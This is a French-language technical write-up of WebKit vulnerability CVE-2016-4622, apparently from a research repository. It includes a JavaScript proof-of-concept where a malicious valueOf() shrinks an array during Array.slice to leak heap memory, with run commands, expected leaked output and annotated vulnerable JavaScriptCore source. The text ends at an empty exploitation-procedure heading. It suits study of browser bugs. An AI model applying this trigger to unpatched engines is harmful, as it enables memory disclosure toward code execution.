Analyse CVE-2016-4622 de WebKit : Plongée approfondie dans la vulnérabilité du chemin rapide Slice ValueOf

Analyse complète et exploitation de la vulnérabilité du moteur JavaScript Core de WebKit permettant la divulgation mémoire via la manipulation de Array.slice

Table des matières

• Résumé exécutif
• Aperçu de la vulnérabilité
• Configuration de l'environnement de recherche
• Analyse technique
• Procédure d'exploitation
• Principales conclusions
• Ressources et références

---

Résumé exécutif

Ce dépôt contient une analyse complète de CVE-2016-4622, une vulnérabilité critique de divulgation mémoire dans le moteur JavaScript Core de WebKit. La vulnérabilité provient d'une condition de concurrence dans l'implémentation de Array.slice() qui peut être exploitée pour fuiter le contenu mémoire adjacent, servant de base à des primitives d'exploitation plus sophistiquées comme addrof et fakeobj.

Impact : Divulgation mémoire pouvant conduire à une exécution de code à distance potentielle
Composant affecté : WebKit JavaScript Core (JSC)
Cause racine : Vulnérabilité de type vérification-utilisation (TOCTOU) dans l'implémentation de fastSlice

---

Aperçu de la vulnérabilité

Le problème principal

La vulnérabilité existe dans le « chemin rapide » optimisé de WebKit pour la méthode Array.slice(). Lors du traitement des paramètres de slice, le moteur convertit les arguments objets en valeurs primitives en appelant leur méthode valueOf(). Cette conversion a lieu après avoir déterminé les paramètres de l'opération slice mais avant l'opération de copie mémoire proprement dite.

Vecteur d'attaque

var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

Ce qui se passe :

1. Le tableau a est créé avec 100 éléments
2. Lors du traitement des paramètres de slice, valueOf() est appelée
3. La valueOf() malveillante réduit la taille du tableau à 0
4. memcpy tente de copier 10 éléments d'un tableau vide
5. Résultat : La mémoire adjacente est copiée, provoquant une divulgation d'informations

---

Configuration de l'environnement de recherche

Structure du dépôt

WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Implémentation de référence par Saelo
├── Exploit/                        # Tentatives d'exploitation personnalisées
│   ├── poc-memleak.js             # Preuve de concept de fuite mémoire
│   └── slice_over_array.js        # Exemples éducatifs
├── WebKit-SRC-CVE-2016-4622/     # Code source vulnérable (commit 320b1fc)
├── WebKit-Bins/                   # Binaires compilés pour les tests
│   ├── Debug/                     # Version debug avec symboles
│   └── ASAN/                      # Version avec AddressSanitizer activé
└── Screenshoots/                  # Documentation visuelle

Environnement de test

Binaires : Binaires JSC pré-compilés construits sur VMWare OSX 10.11 avec XCode 7.3.2
Architecture : Exécutables x86_64 Mach-O
Fonctionnalités de débogage : Symboles + AddressSanitizer pour une analyse complète

Exécution de la preuve de concept

cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Sortie attendue montrant la fuite mémoire :
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

---

Analyse technique

Comprendre le mécanisme de Array.slice()

La méthode Array.slice(begin, end) crée une copie superficielle d'une partie d'un tableau. Dans des conditions normales :

var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Retourne ['b', 'c']

Point clé : Le paramètre end subit une conversion de type via valueOf(), créant une fenêtre d'exploitation.

Analyse de la pile d'appels

Lorsque la vulnérabilité se déclenche, AddressSanitizer capture ce flux d'appels :

#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

Analyse approfondie : fonction par fonction

1. arrayProtoFuncSlice() - Point d'entrée

Emplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - Le déclencheur de conversion

Emplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

La condition de concurrence :

• Lors du traitement du second paramètre {valueOf: function() { a.length = 0; return 10; }}
• value.toInteger(exec) appelle notre valueOf() malveillante
• Notre fonction modifie la longueur du tableau de 100 à 0
• Mais les paramètres de l'opération slice (begin=0, end=10) restent inchangés

3. fastSlice() - Où se produit la corruption mémoire

Emplacement : WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

La corruption mémoire :

• startIndex = 0, count = 10
• La longueur du tableau est maintenant 0 (modifiée par valueOf())
• memcpy lit 10 JSValues à partir de l'index 0
• Puisque le tableau est vide, cela lit la mémoire adjacente du tas
• Résultat : Vulnérabilité de divulgation d'informations

---

Procédure d'exploitation

Flux d'attaque étape par étape